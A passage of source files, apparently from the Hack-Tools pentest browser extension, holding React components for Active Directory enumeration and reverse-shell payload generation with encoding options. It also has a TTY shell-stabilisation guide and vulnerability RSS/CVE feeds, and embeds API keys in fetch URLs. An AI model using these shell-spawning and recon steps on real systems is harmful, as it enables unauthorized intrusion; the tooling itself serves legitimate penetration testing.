Local Admins [need Administrative rights] </Text>\n                <Paragraph>\n                    <pre><Text copyable>{local_admins}</Text></pre>\n                </Paragraph>\n\n                <Text strong>Get groups of user [need Administrative rights] </Text>\n                <Paragraph>\n                    <pre><Text copyable>{user_group_membership}</Text></pre>\n                </Paragraph>\n\n                <Divider orientation='center'>ACL enumeration</Divider>\n\n                <Text strong>User ACL </Text>\n                <Paragraph>\n                    <pre><Text copyable>{ACL_user_enum}</Text></pre>\n                </Paragraph>\n\n                <Text strong>GPO modifications rights</Text>\n                <Paragraph>\n                    <pre><Text copyable>{ACL_gpoedit_rights}</Text></pre>\n                </Paragraph>\n\n                <Text strong>Password reset rights</Text>\n                <Paragraph>\n                    <pre><Text copyable>{ACL_passwd_edit_rights}</Text></pre>\n                </Paragraph>\n\n                <Divider orientation='center'>Local reconnaissance</Divider>\n                <Text strong>Export user accounts with ldifde</Text>\n                <Paragraph>\n                    <pre><Text copyable>{local_recon_ldifde}</Text></pre>\n                </Paragraph>\n                <Text strong>Export user accounts with csvde</Text>\n                <Paragraph>\n                    <pre><Text copyable>{local_recon_csvde}</Text></pre>\n                </Paragraph>\n\n                <Divider orientation='center'>Active Directory scripts</Divider>\n                <Text strong mark style={{ marginBottom: 5 }}>Enumerate Domain Users</Text>\n                <div>\n                    <SyntaxHighlighter language='powershell' style={vs2015} showLineNumbers={true}>\n                        {domain_user_enum}\n                    </SyntaxHighlighter>\n                    <Clipboard component='a' data-clipboard-text={domain_user_enum}>\n                        <Button\n                            type='default'\n                            block\n                            style={{ marginBottom: 10, }}\n                            onClick={successInfoReverseShell}\n                        >\n                            <CopyOutlined />\n                            Copy\n                        </Button>\n                    </Clipboard>\n                </div>\n                <Text strong mark style={{ marginBottom: 5 }}>Enumerate Domain Groups</Text>\n                <div>\n                    <SyntaxHighlighter language='powershell' style={vs2015} showLineNumbers={true}>\n                        {enum_domain_groups}\n                    </SyntaxHighlighter>\n                    <Clipboard component='a' data-clipboard-text={enum_domain_groups}>\n                        <Button\n                            type='default'\n                            block\n                            style={{ marginBottom: 10, }}\n                            onClick={successInfoReverseShell}\n                        >\n                            <CopyOutlined />\n                            Copy\n                        </Button>\n                    </Clipboard>\n                </div>\n                <Text strong mark style={{ marginBottom: 5 }}>Enumerate Members of a Group</Text>\n                <div>\n                    <SyntaxHighlighter language='powershell' style={vs2015} showLineNumbers={true}>\n                        {enum_members_domain_group}\n                    </SyntaxHighlighter>\n                    <Clipboard component='a' data-clipboard-text={enum_members_domain_group}>\n                        <Button\n                            type='default'\n                            block\n                            style={{ marginBottom: 10, }}\n                            onClick={successInfoReverseShell}\n                        >\n                            <CopyOutlined />\n                            Copy\n                        </Button>\n                    </Clipboard>\n                </div>\n                <Text strong mark style={{ marginBottom: 5 }}>Detect Service Principal Names</Text>\n                <div>\n                    <SyntaxHighlighter language='powershell' style={vs2015} showLineNumbers={true}>\n                        {detect_spn}\n                    </SyntaxHighlighter>\n                    <Clipboard component='a' data-clipboard-text={detect_spn}>\n                        <Button\n                            type='default'\n                            block\n                            style={{ marginBottom: 10, }}\n                            onClick={successInfoReverseShell}\n                        >\n                            <CopyOutlined />\n                            Copy\n                        </Button>\n                    </Clipboard>\n                </div>\n            </div>\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/linux/ReverseShell.tsx",
    "content": "import React, { useRef, useState } from 'react';\r\nimport { message, Typography, Row, Col, Input, Table, Tag, Select, Form, InputRef, Button, Space, Dropdown } from 'antd';\r\nimport type { ColumnsType, TableProps } from 'antd/es/table';\r\nimport { SearchOutlined, WifiOutlined, createFromIconfontCN } from '@ant-design/icons';\r\nimport PersistedState from 'use-persisted-state';\r\nimport { Ipv4TcpCacheState } from 'components/types/Ipv4TcpCacheState';\r\nimport { ColumnType, FilterConfirmProps, FilterValue, SorterResult } from 'antd/es/table/interface';\r\nimport Highlighter from 'react-highlight-words';\r\n\r\nconst { Title, Paragraph, Text } = Typography;\r\nconst IconFont = createFromIconfontCN( {\r\n    scriptUrl: [ './iconfont.js' ]\r\n} );\r\n\r\ninterface DataType {\r\n    key: React.Key;\r\n    name: string;\r\n    tags: string[];\r\n    command: string;\r\n}\r\n\r\ntype DataIndex = keyof DataType;\r\n\r\n\r\nexport default function ReverseShell () {\r\n    const useIPv4State = PersistedState<Ipv4TcpCacheState>( 'ipv4_tcp_cache' );\r\n    const [ searchText, setSearchText ] = useState( '' );\r\n    const [ searchedColumn, setSearchedColumn ] = useState( '' );\r\n    const searchInput = useRef<InputRef>( null );\r\n\r\n    const [ values, setValues ] = useIPv4State( {\r\n        ip: '',\r\n        port: '',\r\n        shell: '/bin/sh',\r\n    } );\r\n\r\n    const [ messageApi, contextHolder ] = message.useMessage();\r\n    const info = () => {\r\n        messageApi.success( 'Your reverse shell has been copied to the clipboard!' );\r\n    };\r\n\r\n    const items = [\r\n        {\r\n            key: '1',\r\n            label: 'Base64 Encoded',\r\n        },\r\n        {\r\n            key: '2',\r\n            label: 'URL Encoded',\r\n        },\r\n        {\r\n            key: '3',\r\n            label: 'Double URL Encoded',\r\n        },\r\n    ];\r\n\r\n    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {\r\n        setValues( { ...values, [ name ]: event.target.value } );\r\n    };\r\n\r\n    const handleChangeSelect = ( prop: string ) => ( data: any ) => {\r\n        setValues( { ...values, [ prop ]: data } );\r\n    };\r\n\r\n    const [ filteredInfo, setFilteredInfo ] = useState<Record<string, FilterValue | null>>( {} );\r\n    const [ sortedInfo, setSortedInfo ] = useState<SorterResult<DataType>>( {} );\r\n    const handleChangeFilter: TableProps<DataType>[ 'onChange' ] = ( _, filters, sorter ) => {\r\n        setFilteredInfo( filters );\r\n        setSortedInfo( sorter as SorterResult<DataType> );\r\n    };\r\n\r\n    const handleSearch = (\r\n        selectedKeys: string[],\r\n        confirm: ( param?: FilterConfirmProps ) => void,\r\n        dataIndex: DataIndex,\r\n    ) => {\r\n        confirm();\r\n        setSearchText( selectedKeys[ 0 ] );\r\n        setSearchedColumn( dataIndex );\r\n    };\r\n\r\n    const handleReset = ( clearFilters: () => void ) => {\r\n        clearFilters();\r\n        setSearchText( '' );\r\n    };\r\n\r\n    const getColumnSearchProps = ( dataIndex: DataIndex ): ColumnType<DataType> => ( {\r\n        filterDropdown: ( { setSelectedKeys, selectedKeys, confirm, clearFilters, close } ) => (\r\n            <div style={{ padding: 8 }} onKeyDown={( e ) => e.stopPropagation()}>\r\n                <Input\r\n                    ref={searchInput}\r\n                    placeholder={`Search ${ dataIndex }`}\r\n                    value={selectedKeys[ 0 ]}\r\n                    onChange={( e ) => setSelectedKeys( e.target.value ? [ e.target.value ] : [] )}\r\n                    onPressEnter={() => handleSearch( selectedKeys as string[], confirm, dataIndex )}\r\n                    style={{ marginBottom: 8, display: 'block' }}\r\n                />\r\n                <Space>\r\n                    <Button\r\n                        type=\"primary\"\r\n                        onClick={() => handleSearch( selectedKeys as string[], confirm, dataIndex )}\r\n                        icon={<SearchOutlined />}\r\n                        size=\"small\"\r\n                        style={{ width: 90 }}\r\n                    >\r\n                        Search\r\n                    </Button>\r\n                    <Button\r\n                        onClick={() => clearFilters && handleReset( clearFilters )}\r\n                        size=\"small\"\r\n                        style={{ width: 90 }}\r\n                    >\r\n                        Reset\r\n                    </Button>\r\n                    <Button\r\n                        type=\"link\"\r\n                        size=\"small\"\r\n                        onClick={() => {\r\n                            confirm( { closeDropdown: false } );\r\n                            setSearchText( ( selectedKeys as string[] )[ 0 ] );\r\n                            setSearchedColumn( dataIndex );\r\n                        }}\r\n                    >\r\n                        Filter\r\n                    </Button>\r\n                    <Button\r\n                        type=\"link\"\r\n                        size=\"small\"\r\n                        onClick={() => {\r\n                            close();\r\n                        }}\r\n                    >\r\n                        Close\r\n                    </Button>\r\n                </Space>\r\n            </div>\r\n        ),\r\n        filterIcon: ( filtered: boolean ) => (\r\n            <SearchOutlined style={{ color: filtered ? '#1890ff' : undefined }} />\r\n        ),\r\n        onFilter: ( value, record ) =>\r\n            record[ dataIndex ]\r\n                .toString()\r\n                .toLowerCase()\r\n                .includes( ( value as string ).toLowerCase() ),\r\n        onFilterDropdownVisibleChange: ( visible: any ) => {\r\n            if ( visible ) {\r\n                setTimeout( () => {\r\n                    searchInput.current?.select();\r\n                }, 100 );\r\n            } else {\r\n                setSearchedColumn( \"\" );\r\n            }\r\n        },\r\n        render: ( text ) =>\r\n            searchedColumn === dataIndex ? (\r\n                <Highlighter\r\n                    highlightStyle={{ backgroundColor: '#ffc069', padding: 0 }}\r\n                    searchWords={[ searchText ]}\r\n                    autoEscape\r\n                    textToHighlight={text ? text.toString() : ''}\r\n                />\r\n            ) : (\r\n                text\r\n            ),\r\n    } );\r\n\r\n\r\n    const columns: ColumnsType<DataType> = [\r\n        {\r\n            title: 'Name', dataIndex: 'name', key: 'name', filteredValue: filteredInfo.name || null,\r\n            onFilter: ( value: string, record ) => record.name.includes( value ),\r\n            sorter: ( a, b ) => a.name.length - b.name.length,\r\n            ...getColumnSearchProps( 'name' ),\r\n            sortOrder: sortedInfo.columnKey === 'name' ? sortedInfo.order : null,\r\n            ellipsis: true,\r\n        },\r\n        {\r\n            title: 'Tags',\r\n            dataIndex: 'tags',\r\n            key: 'tags',\r\n            render: ( _, { tags } ) => (\r\n                <>\r\n                    {tags.map( ( tag ) => {\r\n                        switch ( tag ) {\r\n                            case 'linux':\r\n                                return <Tag color=\"volcano\" key={tag}>{tag.toUpperCase()}</Tag>;\r\n                            case 'mac':\r\n                                return <Tag color=\"green\" key={tag}>{tag.toUpperCase()}</Tag>;\r\n                            case 'windows':\r\n                                return <Tag color=\"blue\" key={tag}>{tag.toUpperCase()}</Tag>;\r\n                            default:\r\n                                return <Tag color=\"black\" key={tag}>{tag.toUpperCase()}</Tag>;\r\n                        }\r\n                    } )}\r\n                </>\r\n            ),\r\n            filters: [\r\n                { text: 'Linux', value: 'linux' },\r\n                { text: 'macOS', value: 'mac' },\r\n                { text: 'Windows', value: 'windows' },\r\n            ],\r\n            filteredValue: filteredInfo.tags || null,\r\n            onFilter: ( value: string, record ) => record.tags.includes( value ),\r\n            sortOrder: sortedInfo.columnKey === 'tags' ? sortedInfo.order : null,\r\n            ellipsis: true,\r\n        },\r\n        {\r\n            title: 'Action',\r\n            dataIndex: 'action',\r\n            key: 'action',\r\n            render: ( _, { command } ) => (\r\n                <>\r\n                    <Dropdown.Button\r\n                        menu={{\r\n                            items, onClick: ( e ) => {\r\n                                switch ( e.key ) {\r\n                                    case '1':\r\n                                        // base64 encoded\r\n                                        info()\r\n                                        navigator.clipboard.writeText( btoa( command ) );\r\n                                        break;\r\n                                    case '2':\r\n                                        // url encoded\r\n                                        info()\r\n                                        navigator.clipboard.writeText( encodeURIComponent( command ) );\r\n                                        break;\r\n                                    case '3':\r\n                                        // double url encoded\r\n                                        info()\r\n                                        navigator.clipboard.writeText( encodeURIComponent( encodeURIComponent( command ) ) );\r\n                                        break;\r\n                                    default:\r\n                                        info()\r\n                                        break;\r\n                                }\r\n                            },\r\n                        }}\r\n                        onClick={() => { info(); navigator.clipboard.writeText( command ); }}\r\n                    >\r\n                        Copy\r\n                    </Dropdown.Button>\r\n                </>\r\n            ),\r\n        },\r\n    ];\r\n\r\n    let payloads = require( '../../assets/data/RevShell.json' );\r\n\r\n    const data: DataType[] = payloads.map( ( payload: any ) => ( {\r\n        key: payload.id,\r\n        name: payload.name,\r\n        tags: payload.tags,\r\n        command: payload.command,\r\n    } ) );\r\n\r\n    data.forEach( ( payload ) => {\r\n        if ( payload.command ) {\r\n            payload.command = payload.command.replace( /\\${values.ip}/g, String( values.ip ) );\r\n            payload.command = payload.command.replace( /\\${values.port}/g, String( values.port ) );\r\n            payload.command = payload.command.replace( /\\{shell}/g, String( values.shell ) );\r\n        }\r\n    } );\r\n\r\n    return (\r\n        <div>\r\n            {contextHolder}\r\n            <div>\r\n                <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\r\n                    Reverse shell\r\n                </Title>\r\n                <Paragraph style={{ margin: 15 }}>\r\n                    A reverse shell is a type of network communication in which a connection is established from a remote host (the \"attacker\") to a target host (the \"victim\") and the attacker is able to execute commands on the victim's machine as if they were running on the attacker's machine. This is typically done by exploiting a vulnerability in the victim's system or by tricking the victim into running a malicious program that establishes the reverse shell.\r\n                </Paragraph>\r\n                <div style={{ padding: 15 }}>\r\n                    <Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>\r\n                        <Col span={8}>\r\n                            <Input\r\n                                maxLength={15}\r\n                                prefix={<WifiOutlined />}\r\n                                name='Ip adress'\r\n                                placeholder='IP Address or domain (ex: 212.212.111.222)'\r\n                                onChange={handleChange( 'ip' )}\r\n                                value={values.ip}\r\n                            />\r\n                        </Col>\r\n                        <Col span={8}>\r\n                            <Input\r\n                                maxLength={5}\r\n                                prefix={<IconFont type='icon-Network-Plug' />}\r\n                                name='Port'\r\n                                placeholder='Port (ex: 1337)'\r\n                                onChange={handleChange( 'port' )}\r\n                                value={values.port}\r\n                            />\r\n                        </Col>\r\n                        <Col span={8}>\r\n                            <Form.Item name='shell' valuePropName={String( values.shell )} label='Shell'>\r\n                                <Select\r\n                                    onChange={handleChangeSelect( 'shell' )}\r\n                                    placeholder='/bin/sh'\r\n                                    value={String( values.shell )}\r\n                                    allowClear\r\n                                    options={[\r\n                                        {\r\n                                            label: 'Linux / macOS',\r\n                                            options: [\r\n                                                { label: 'sh', value: 'sh' },\r\n                                                { label: '/bin/sh', value: '/bin/sh' },\r\n                                                { label: 'bash', value: 'bash' },\r\n                                                { label: '/bin/bash', value: '/bin/bash' },\r\n                                            ],\r\n                                        },\r\n                                        {\r\n                                            label: 'Windows',\r\n                                            options: [\r\n                                                { label: 'cmd', value: 'cmd' },\r\n                                                { label: 'powershell', value: 'powershell' },\r\n                                                { label: 'pwsh', value: 'pwsh' },\r\n                                            ],\r\n                                        },\r\n                                    ]}>\r\n                                </Select>\r\n                            </Form.Item>\r\n                        </Col>\r\n                    </Row>\r\n                </div>\r\n            </div>\r\n            <div>\r\n                <Table\r\n                    columns={columns}\r\n                    expandable={{\r\n                        expandedRowRender: ( record ) => (\r\n                            <Paragraph>\r\n                                <pre>\r\n                                    <Text copyable>\r\n                                        {record.command}\r\n                                    </Text>\r\n                                </pre>\r\n                            </Paragraph>\r\n                        ),\r\n                        rowExpandable: ( record ) => record.name !== 'Not Expandable',\r\n                    }}\r\n                    dataSource={data}\r\n                    onChange={values.ip && values.port && values.shell ? handleChangeFilter : undefined}\r\n                />\r\n            </div>\r\n        </div >\r\n    );\r\n}\r\n"
  },
  {
    "path": "src/components/linux/TtySpawnShell.tsx",
    "content": "import React from 'react';\nimport { Typography, Divider, Space } from 'antd';\n\nconst { Title, Paragraph, Text } = Typography;\n\nexport default function TTY () {\n    return (\n        <div>\n            <Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>\n                TTY Spawn Shell\n            </Title>\n            <Paragraph style={{ margin: 15 }}>\n                Often during pen tests you may obtain a shell without having tty, yet wish to interact further with the\n                system. Here are some commands which will allow you to spawn a tty shell. Obviously some of this will\n                depend on the system environment and installed packages.\n                <Divider dashed />\n            </Paragraph>\n            <div\n                style={{\n                    padding: 15,\n                }}\n            >\n                <Space direction=\"vertical\">\n                    <Title level={4}>All the steps to stabilize your shell</Title>\n                    <Paragraph>\n                        <strong>The first step:</strong>\n                        <pre>\n                            <Text>\n                                python3 -c 'import pty;pty.spawn(\"/bin/bash\")'\n                            </Text>\n                        </pre>\n                        Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit\n                        prettier, but we still won’t be able to use tab autocomplete or the arrow keys.\n                    </Paragraph>\n                    <Paragraph>\n                        <strong>Step two is:</strong>\n                        <pre>\n                            <Text copyable>\n                                export TERM=xterm\n                            </Text>\n                        </pre>\n                        This will give us access to term commands such as clear.\n                    </Paragraph>\n                    <Paragraph>\n                        <strong>Finally (and most importantly) we will background the shell using</strong>\n                        <pre>\n                            <Text copyable>\n                                Ctrl + Z\n                            </Text>\n                        </pre>\n                        Back in our own terminal we use\n                        <pre>\n                            <Text copyable>\n                                stty raw -echo; fg\n                            </Text>\n                        </pre>\n                        This does two things: first, it turns off our own terminal echo which gives us access to tab\n                        autocompletes, the arrow keys, and Ctrl + C to kill processes\n                        <pre>\n                            <Text copyable editable>\n                                stty rows 38 columns 116\n                            </Text>\n                        </pre>\n                    </Paragraph>\n                </Space>\n            </div>\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/notepad/Notepad.tsx",
    "content": "import React from 'react';\nimport MDEditor from '@uiw/react-md-editor';\nimport PersistedState from 'use-persisted-state';\n\n\nconst NOTEPAD = () => {\n    const [ value, setValue ] = PersistedState<string | string>( 'notepad' )( '' );\n    return (\n        <div className='container'>\n            <MDEditor\n                textareaProps={{\n                    placeholder: 'This is an offline markdown editor to help you take some small notes (data is kept in your browser localstorage)'\n                }}\n                value={value || ''}\n                onChange={setValue}\n                height={500}\n            />\n        </div>\n    );\n\n};\n\nexport default NOTEPAD;\n"
  },
  {
    "path": "src/components/rss/BugsCX.tsx",
    "content": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from '@ant-design/pro-layout';\nimport { goTo } from 'react-chrome-extension-router';\nimport { useQuery } from 'react-query';\nimport CxsecurityChoose from './CxsecurityChoose';\n\nconst { Title } = Typography;\n\nconst fetchApi = async () => {\n    const res = await fetch(\n        'https://api.rss2json.com/v1/api.json?rss_url=https%3A%2F%2Fcxsecurity.com%2Fwlb%2Frss%2Fvulnerabilities%2F&api_key=cpe1hekkfknhpeqov1hvcojojd9csg01yqybwsaw&count=100'\n    );\n    return res.json();\n};\n\nexport default function BugsCX () {\n    const { data, status } = useQuery( 'cisco', fetchApi );\n\n    interface IBugsCX {\n        content: any;\n        title: string;\n        link: string;\n        author: string;\n    }\n\n    return (\n        <div>\n            <PageHeader\n                onBack={() => goTo( CxsecurityChoose )}\n                title='Vulnerabilities Database'\n                subTitle='World Laboratory of Bugtraq 2 CXSecurity.com'\n            />\n            {status === 'loading' && (\n                <div style={{ textAlign: 'center' }}>\n                    <Spin />\n                    <Empty />\n                </div>\n            )}\n            {status === 'error' && (\n                <React.Fragment>\n                    <Empty\n                        image='https://gw.alipayobjects.com/zos/antfincdn/ZHrcdLPrvN/empty.svg'\n                        imageStyle={{\n                            height: 60\n                        }}\n                        description={<span>Error getting the data please contact us.</span>}\n                    >\n                        <Button href='https://github.com/LasCC/Hack-Tools/issues' target='blank' danger>\n                            Report the bug\n                        </Button>\n                    </Empty>\n                </React.Fragment>\n            )}\n            {status === 'success' && (\n                <div\n                    key='a'\n                    style={{\n                        padding: 15\n                    }}\n                >\n                    <Title\n                        level={4}\n                        style={{\n                            fontWeight: 'bold',\n                            marginTop: 15\n                        }}\n                    >\n                        Recent Vulnerabilities\n                    </Title>\n                    <List\n                        itemLayout='horizontal'\n                        dataSource={data.items}\n                        style={{ marginTop: 15 }}\n                        renderItem={( list: IBugsCX ) => (\n                            <List.Item\n                                actions={[\n                                    <div>\n                                        {( () => {\n                                            const severityLevel = list.content.match( /Risk: (\\w{1,})/ );\n                                            if ( !severityLevel ) {\n                                                return 'None';\n                                            } else {\n                                                switch ( severityLevel[ 1 ] ) {\n                                                    case 'High':\n                                                        return <Tag color='red'>{severityLevel[ 1 ]}</Tag>;\n                                                    case 'Medium':\n                                                        return <Tag color='orange'>{severityLevel[ 1 ]}</Tag>;\n                                                    case 'Low':\n                                                        return <Tag color='green'>{severityLevel[ 1 ]}</Tag>;\n                                                    default:\n                                                        return 'None';\n                                                }\n                                            }\n                                        } )()}\n                                    </div>,\n                                    <Tag color='geekblue' style={{ marginLeft: 5 }}>\n                                        {list.author}\n                                    </Tag>\n                                ]}\n                            >\n                                <a href={list.link} target='_blank' rel='noreferrer noopener'>\n                                    {list.title}\n                                </a>\n                            </List.Item>\n                        )}\n                    />\n                </div>\n            )}\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/rss/CVESearch.tsx",
    "content": "import React, { useState } from 'react';\nimport { Typography, Empty, Spin, Button, Tag, Descriptions, Input, List, Divider, Result } from 'antd';\nimport { PageHeader } from '@ant-design/pro-layout';\nimport { CloseCircleOutlined } from '@ant-design/icons';\nimport { goTo } from 'react-chrome-extension-router';\nimport { useQuery } from 'react-query';\nimport FeedRSS from './FeedRSS';\n\nconst { Paragraph, Title, Text } = Typography;\nconst { Search } = Input;\n\nexport default function CVESearch () {\n    const [ values, setValues ] = useState( {\n        cve: 'CVE-2017-0146'\n    } );\n    const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {\n        setValues( { ...values, [ name ]: event.target.value } );\n    };\n    const fetchApi = async () => {\n        const res = await fetch( `https://corsproxy.io/?https://cve.circl.lu/api/cve/${ values.cve }` );\n        return res.json();\n    };\n    const { isLoading, isError, data, refetch, isFetching } = useQuery( 'cve', fetchApi );\n\n    if ( isLoading ) {\n        return (\n            <div style={{ textAlign: 'center', marginTop: 25 }}>\n                <Spin tip='Loading...' />\n            </div>\n        );\n    }\n    if ( isError ) {\n        return (\n            <div>\n                <Empty\n                    style={{ marginTop: 25 }}\n                    image='https://gw.alipayobjects.com/zos/antfincdn/ZHrcdLPrvN/empty.svg'\n                    imageStyle={{\n                        height: 60\n                    }}\n                    description={<span>Error getting the data please contact us.</span>}\n                >\n                    <Button href='https://github.com/LasCC/Hack-Tools/issues' target='blank' danger>\n                        Report the bug\n                    </Button>\n                </Empty>\n            </div>\n        );\n    }\n\n    return (\n        <div>\n            <PageHeader\n                onBack={() => goTo( FeedRSS )}\n                title='CVE Search engine'\n                extra={[\n                    <Button key='1' href='https://www.cve-search.org/' target='blank' type='primary'>\n                        Visit orignal website\n                    </Button>\n                ]}\n            />\n            <Search\n                name='CVE'\n                size='large'\n                enterButton\n                allowClear\n                placeholder='Enter your CVE ex : CVE-2017-0146'\n                onChange={handleChange( 'cve' )}\n                onSubmit={() => refetch()}\n                onSearch={() => refetch()}\n            />\n            {data != null ? (\n                <div>\n                    <div\n                        key='a'\n                        style={{\n                            padding: 15\n                        }}\n                    >\n                        <Descriptions title='CVE Info' style={{ marginTop: 15 }}>\n                            <Descriptions.Item label='Published'>\n                                <Tag color='blue'>\n                                    {data.Published.slice(\n                                        data.Published.indexOf( '20' ),\n                                        data.Published.lastIndexOf( '0' ) - 8\n                                    )}\n                                </Tag>\n                            </Descriptions.Item>\n                            <Descriptions.Item label='Modified'>\n                                <Tag color='geekblue'>\n                                    {data.Modified.slice(\n                                        data.Modified.indexOf( '20' ),\n                                        data.Modified.lastIndexOf( '0' ) - 8\n                                    )}\n                                </Tag>\n                            </Descriptions.Item>\n                            <Descriptions.Item label='CCVS'>\n                                {( () => {\n                                    if ( data.cvss >= 0.1 && data.cvss <= 3.9 )\n                                        return <Tag color='success'>{data.cvss}</Tag>;\n                                    if ( data.cvss >= 4.0 && data.cvss <= 6.9 )\n                                        return <Tag color='warning'>{data.cvss}</Tag>;\n                                    if ( data.cvss >= 7.0 && data.cvss <= 10 )\n                                        return <Tag color='error'>{data.cvss}</Tag>;\n                                } )()}\n                            </Descriptions.Item>\n                            <Descriptions.Item label='CVE ID'>\n                                <Tag color='purple'>{data.id}</Tag>\n                            </Descriptions.Item>\n                            <Descriptions.Item label='Severity'>\n                                {( () => {\n                                    if ( data.cvss >= 0.1 && data.cvss <= 3.9 )\n                                        return (\n                                            <Paragraph strong style={{ color: '#389e0d' }}>\n                                                LOW\n                                            </Paragraph>\n                                        );\n                                    if ( data.cvss >= 4.0 && data.cvss <= 6.9 )\n                                        return (\n                                            <Paragraph strong type='warning'>\n                                                MEDIUM\n                                            </Paragraph>\n                                        );\n                                    if ( data.cvss >= 7.0 && data.cvss <= 8.9 )\n                                        return (\n                                            <Paragraph strong style={{ color: '#f5222d' }}>\n                                                HIGH\n                                            </Paragraph>\n                                        );\n                                    if ( data.cvss >= 9.0 && data.cvss <= 10 )\n                                        return (\n                                            <Paragraph strong style={{ color: '#820014' }}>\n                                                CRITICAL\n                                            </Paragraph>\n                                        );\n                                } )()}\n                            </Descriptions.Item>\n                            <Descriptions.Item label='Vector'>{data.access.vector}</Descriptions.Item>\n                        </Descriptions>\n                        <Paragraph ellipsis={{ rows: 2, expandable: true, symbol: 'more' }} style={{ marginTop: 10 }}>\n                            {data.summary}\n                        </Paragraph>\n                    </div>\n                    <Divider dashed />\n                    <div\n                        key='b'\n                        style={{\n                            padding: 15\n                        }}\n                    >\n                        <Title level={3}>References / Documentation</Title>\n                        <List\n                            itemLayout='horizontal'\n                            dataSource={data.references}\n                            style={{ marginTop: 15 }}\n                            renderItem={( list: string ) => (\n                                <List.Item>\n                                    <a href={list} target='_blank' rel='noreferrer noopener'>\n                                        {list}\n                                    </a>\n                                </List.Item>\n                            )}\n                        />\n                    </div>\n                </div>\n            ) : (\n                <Result\n                    status='error'\n                    title='Something went wrong'\n                    subTitle='Please check and modify the following information before resubmitting.'\n                >\n                    <div className='desc'>\n                        <Paragraph>\n                            <Text\n                                strong\n                                style={{\n                                    fontSize: 16\n                                }}\n                            >\n                                The content you submitted has the following error:\n                            </Text>\n                        </Paragraph>\n                        <Paragraph>\n                            <CloseCircleOutlined className='site-result-demo-error-icon' /> The value that you submitted{' '}\n                            <b>does not exist</b>.\n                        </Paragraph>\n                        <Paragraph>\n                            <CloseCircleOutlined className='site-result-demo-error-icon' /> The{' '}\n                            <b>API is in maintenance</b>, please try again.\n                        </Paragraph>\n                    </div>\n                </Result>\n            )}\n            <div>\n                {isFetching ? (\n                    <div style={{ textAlign: 'center', marginTop: 25 }}>\n                        <Spin tip='Loading...' />\n                    </div>\n                ) : null}\n            </div>\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/rss/Cisco.tsx",
    "content": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from '@ant-design/pro-layout';\nimport { goTo } from 'react-chrome-extension-router';\nimport { useQuery } from 'react-query';\nimport FeedRSS from './FeedRSS';\n\nconst { Title } = Typography;\n\nconst fetchApi = async () => {\n    const res = await fetch(\n        'https://api.rss2json.com/v1/api.json?rss_url=https%3A%2F%2Ftools.cisco.com%2Fsecurity%2Fcenter%2Fpsirtrss20%2FCiscoSecurityAdvisory.xml&api_key=spbf63tt7rvx2r0wh2x6yoz00ssjyztpceqqkdj3&count=20'\n    );\n    return res.json();\n};\n\nexport default function Cisco () {\n    const { data, status } = useQuery( 'cisco', fetchApi );\n\n    interface ICisco {\n        content: any;\n        link: string;\n        title: string;\n    }\n\n    return (\n        <div>\n            <PageHeader\n                onBack={() => goTo( FeedRSS )}\n                title='Feed RSS'\n                subTitle='Cisco Security Advisories'\n                extra={[\n                    <Button href='https://tools.cisco.com/security/center/publicationListing.x' target='blank' key='1' type='primary'>\n                        Visit orignal website\n                    </Button>\n                ]}\n            />\n            {status === 'loading' && (\n                <div style={{ textAlign: 'center' }}>\n                    <Spin />\n                    <Empty />\n                </div>\n            )}\n            {status === 'error' && (\n                <div>\n                    <Empty\n                        image='https://gw.alipayobjects.com/zos/antfincdn/ZHrcdLPrvN/empty.svg'\n                        imageStyle={{\n                            height: 60\n                        }}\n                        description={<span>Error getting the data please contact us.</span>}\n                    >\n                        <Button danger>\n                            <a\n                                href='https://github.com/LasCC/Hack-Tools/issues'\n                                rel='noreferrer noopener'\n                                target='_blank'\n                            >\n                                Report the bug\n                            </a>\n                        </Button>\n                    </Empty>\n                </div>\n            )}\n            {status === 'success' && (\n                <div\n                    key='a'\n                    style={{\n                        padding: 15\n                    }}\n                >\n                    <Title\n                        level={4}\n                        style={{\n                            fontWeight: 'bold',\n                            marginTop: 15\n                        }}\n                    >\n                        Recent exploit\n                    </Title>\n                    <List\n                        itemLayout='horizontal'\n                        dataSource={data.items}\n                        style={{ marginTop: 15 }}\n                        renderItem={( list: ICisco ) => (\n                            <List.Item\n                                actions={[\n                                    <div>\n                                        {( () => {\n                                            const severityLevel = list.content.match( /(  )[a-zA-Z]+/ )[ 0 ];\n                                            switch ( severityLevel ) {\n                                                case '  Critical':\n                                                    return <Tag color='red'>{severityLevel}</Tag>;\n                                                case '  High':\n                                                    return <Tag color='magenta'>{severityLevel}</Tag>;\n                                                case '  Medium':\n                                                    return <Tag color='orange'>{severityLevel}</Tag>;\n                                                case '  Low':\n                                                    return <Tag color='lime'>{severityLevel}</Tag>;\n                                                case '  Informational':\n                                                    return <Tag color='blue'>{severityLevel}</Tag>;\n                                                default:\n                                                    return 'None';\n                                            }\n                                        } )()}\n                                    </div>,\n                                    <Tag color='geekblue' style={{ marginLeft: 5 }}>\n                                        {( () => {\n                                            const cveMatch = list.content.match( /CVE-(\\d{4})-(\\d{4,5})/ );\n                                            if ( !cveMatch ) {\n                                                return 'None';\n                                            } else {\n                                                return cveMatch[ 0 ];\n                                            }\n                                        } )()}\n                                    </Tag>\n                                ]}\n                            >\n                                <a href={list.link} target='_blank' rel='noreferrer noopener'>\n                                    {list.title}\n                                </a>\n                            </List.Item>\n                        )}\n                    />\n                </div>\n            )}\n        </div>\n    );\n}\n"
  },
  {
    "path": "src/components/rss/CxsecurityChoose.tsx",
